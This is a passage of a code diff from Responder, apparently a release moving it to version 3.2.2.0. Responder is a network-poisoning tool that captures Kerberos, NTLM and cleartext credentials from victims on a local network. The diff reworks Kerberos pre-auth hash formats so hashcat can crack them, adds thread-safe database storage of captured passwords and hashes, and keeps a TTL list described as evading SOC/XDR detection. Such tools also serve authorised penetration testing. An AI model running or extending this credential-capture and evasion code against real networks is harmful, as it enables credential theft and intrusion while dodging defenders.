|
||||
try:
|
||||
addrs = netifaces.ifaddresses(target_iface)
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
global_ipv6 = None
|
||||
linklocal_ipv6 = None
|
||||
|
||||
for ipv6_addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = ipv6_addr.get('addr', '').split('%')[0] # Remove %interface suffix
|
||||
|
||||
if not ipv6 or ipv6.startswith('::ffff:') or ipv6 == '::1':
|
||||
continue
|
||||
|
||||
if ipv6.startswith('fe80:'):
|
||||
# Link-local - save as fallback
|
||||
if not linklocal_ipv6:
|
||||
linklocal_ipv6 = ipv6
|
||||
else:
|
||||
# Global IPv6 - preferred
|
||||
if not global_ipv6:
|
||||
global_ipv6 = ipv6
|
||||
|
||||
# Priority 3: Return global IPv6 if available
|
||||
if global_ipv6:
|
||||
return global_ipv6
|
||||
|
||||
# Priority 4: Fall back to link-local
|
||||
if linklocal_ipv6:
|
||||
return linklocal_ipv6
|
||||
except:
|
||||
pass
|
||||
|
||||
except ImportError:
|
||||
pass # netifaces not available
|
||||
except Exception as e:
|
||||
pass # IPv6 detection failed silently
|
||||
|
||||
# No IPv6 found at all (IPv6 disabled on system)
|
||||
# No valid IPv6 available
|
||||
return None
|
||||
|
||||
def get_type_name(self, query_type):
|
||||
|
||||
@@ -679,14 +679,12 @@ class KerbTCP(BaseRequestHandler):
|
||||
else:
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
|
||||
|
||||
elif etype_num == 0x12: # AES256 (18)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x11: # AES128 (17)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x12: # AES256 (18) - hashcat mode 19900
|
||||
# Format: $krb5pa$18$user$realm$cipher (hashcat computes salt internally)
|
||||
hash_value = '$krb5pa$18$%s$%s$%s' % (cname, realm, cipher_hex)
|
||||
elif etype_num == 0x11: # AES128 (17) - hashcat mode 19800
|
||||
# Format: $krb5pa$17$user$realm$cipher (hashcat computes salt internally)
|
||||
hash_value = '$krb5pa$17$%s$%s$%s' % (cname, realm, cipher_hex)
|
||||
else:
|
||||
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
|
||||
|
||||
@@ -703,7 +701,14 @@ class KerbTCP(BaseRequestHandler):
|
||||
|
||||
# Print the hash
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Use hashcat -m 7500 (etype %d): %s' % (etype_num, hash_value)))
|
||||
if etype_num == 0x17 or etype_num == 0x18:
|
||||
print(text('[KERB] Use hashcat -m 7500 (etype 23): %s' % hash_value))
|
||||
elif etype_num == 0x12:
|
||||
print(text('[KERB] Use hashcat -m 19900 (etype 18): %s' % hash_value))
|
||||
elif etype_num == 0x11:
|
||||
print(text('[KERB] Use hashcat -m 19800 (etype 17): %s' % hash_value))
|
||||
else:
|
||||
print(text('[KERB] Kerberos hash (etype %d): %s' % (etype_num, hash_value)))
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
@@ -798,14 +803,12 @@ class KerbUDP(BaseRequestHandler):
|
||||
else:
|
||||
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
|
||||
|
||||
elif etype_num == 0x12: # AES256 (18)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x11: # AES128 (17)
|
||||
checksum = cipher_hex[-24:]
|
||||
salt = realm + cname
|
||||
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
|
||||
elif etype_num == 0x12: # AES256 (18) - hashcat mode 19900
|
||||
# Format: $krb5pa$18$user$realm$cipher (hashcat computes salt internally)
|
||||
hash_value = '$krb5pa$18$%s$%s$%s' % (cname, realm, cipher_hex)
|
||||
elif etype_num == 0x11: # AES128 (17) - hashcat mode 19800
|
||||
# Format: $krb5pa$17$user$realm$cipher (hashcat computes salt internally)
|
||||
hash_value = '$krb5pa$17$%s$%s$%s' % (cname, realm, cipher_hex)
|
||||
else:
|
||||
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
|
||||
|
||||
@@ -821,7 +824,14 @@ class KerbUDP(BaseRequestHandler):
|
||||
})
|
||||
|
||||
# Print the hash
|
||||
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
|
||||
if etype_num == 0x17 or etype_num == 0x18:
|
||||
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 7500): %s' % hash_value, 3, 1))
|
||||
elif etype_num == 0x12:
|
||||
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 19900): %s' % hash_value, 3, 1))
|
||||
elif etype_num == 0x11:
|
||||
print(color('[KERB] Kerberos Pre-Auth (hashcat -m 19800): %s' % hash_value, 3, 1))
|
||||
else:
|
||||
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
|
||||
|
||||
@@ -23,7 +23,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.2.1.0'
|
||||
__version__ = 'Responder 3.2.2.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -178,6 +178,8 @@ class Settings:
|
||||
self.Quiet_Mode = options.Quiet
|
||||
self.AnswerName = options.AnswerName
|
||||
self.ErrorCode = options.ErrorCode
|
||||
self.RDNSS_On_Off = options.RDNSS_On_Off
|
||||
self.DNSSL_Domain = options.DNSSL_Domain
|
||||
|
||||
# TTL blacklist. Known to be detected by SOC / XDR
|
||||
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
||||
|
||||
156
utils.py
156
utils.py
@@ -20,6 +20,7 @@ import re
|
||||
import logging
|
||||
import socket
|
||||
import time
|
||||
import threading
|
||||
import settings
|
||||
import datetime
|
||||
import codecs
|
||||
@@ -87,6 +88,9 @@ except:
|
||||
print("[!] Please install python-sqlite3 extension.")
|
||||
sys.exit(0)
|
||||
|
||||
# Thread lock for database operations to prevent "database is locked" errors
|
||||
_db_lock = threading.Lock()
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
if txt.startswith('[*]'):
|
||||
settings.Config.PoisonersLogger.warning(txt)
|
||||
@@ -400,6 +404,7 @@ def NetworkRecvBufferPython2or3(data):
|
||||
def CreateResponderDb():
|
||||
if not os.path.exists(settings.Config.DatabaseFile):
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.execute('PRAGMA journal_mode=WAL')
|
||||
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
|
||||
cursor.commit()
|
||||
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||
@@ -420,64 +425,66 @@ def SaveToDb(result):
|
||||
#text("[*] Skipping one character username: %s" % result['user'])
|
||||
return
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
|
||||
if len(result['cleartext']):
|
||||
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
|
||||
else:
|
||||
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
|
||||
|
||||
(count,) = res.fetchone()
|
||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
if not count or settings.Config.CaptureMultipleHashFromSameHost:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
||||
|
||||
if not count or settings.Config.Verbose: # Print output
|
||||
if len(result['client']):
|
||||
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
|
||||
|
||||
if len(result['hostname']):
|
||||
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
|
||||
|
||||
if len(result['user']):
|
||||
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
|
||||
|
||||
# Bu order of priority, print cleartext, fullhash, or hash
|
||||
with _db_lock:
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
|
||||
cursor.execute('PRAGMA journal_mode=WAL')
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
|
||||
if len(result['cleartext']):
|
||||
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
|
||||
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
|
||||
else:
|
||||
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
|
||||
|
||||
elif len(result['fullhash']):
|
||||
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
|
||||
(count,) = res.fetchone()
|
||||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
elif len(result['hash']):
|
||||
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
# Appending auto-ignore list if required
|
||||
# Except if this is a machine account's hash
|
||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||
settings.Config.AutoIgnoreList.append(result['client'])
|
||||
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
|
||||
elif len(result['cleartext']):
|
||||
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
|
||||
else:
|
||||
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured hash for %s' % result['user'])
|
||||
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
if not count or settings.Config.CaptureMultipleHashFromSameHost:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
||||
|
||||
if not count or settings.Config.Verbose: # Print output
|
||||
if len(result['client']):
|
||||
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
|
||||
|
||||
if len(result['hostname']):
|
||||
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
|
||||
|
||||
if len(result['user']):
|
||||
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
|
||||
|
||||
# Bu order of priority, print cleartext, fullhash, or hash
|
||||
if len(result['cleartext']):
|
||||
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
|
||||
|
||||
elif len(result['fullhash']):
|
||||
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
|
||||
|
||||
elif len(result['hash']):
|
||||
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
|
||||
|
||||
# Appending auto-ignore list if required
|
||||
# Except if this is a machine account's hash
|
||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||
settings.Config.AutoIgnoreList.append(result['client'])
|
||||
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
|
||||
elif len(result['cleartext']):
|
||||
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
|
||||
else:
|
||||
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
|
||||
text('[*] Skipping previously captured hash for %s' % result['user'])
|
||||
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
def SavePoisonersToDb(result):
|
||||
|
||||
@@ -485,32 +492,37 @@ def SavePoisonersToDb(result):
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
cursor.commit()
|
||||
|
||||
with _db_lock:
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
|
||||
cursor.execute('PRAGMA journal_mode=WAL')
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
cursor.close()
|
||||
|
||||
def SaveDHCPToDb(result):
|
||||
for k in [ 'MAC', 'IP', 'RequestedIP']:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
cursor.commit()
|
||||
with _db_lock:
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile, timeout=10)
|
||||
cursor.execute('PRAGMA journal_mode=WAL')
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
cursor.close()
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
|
||||
|
||||
Reference in New Issue
Block a user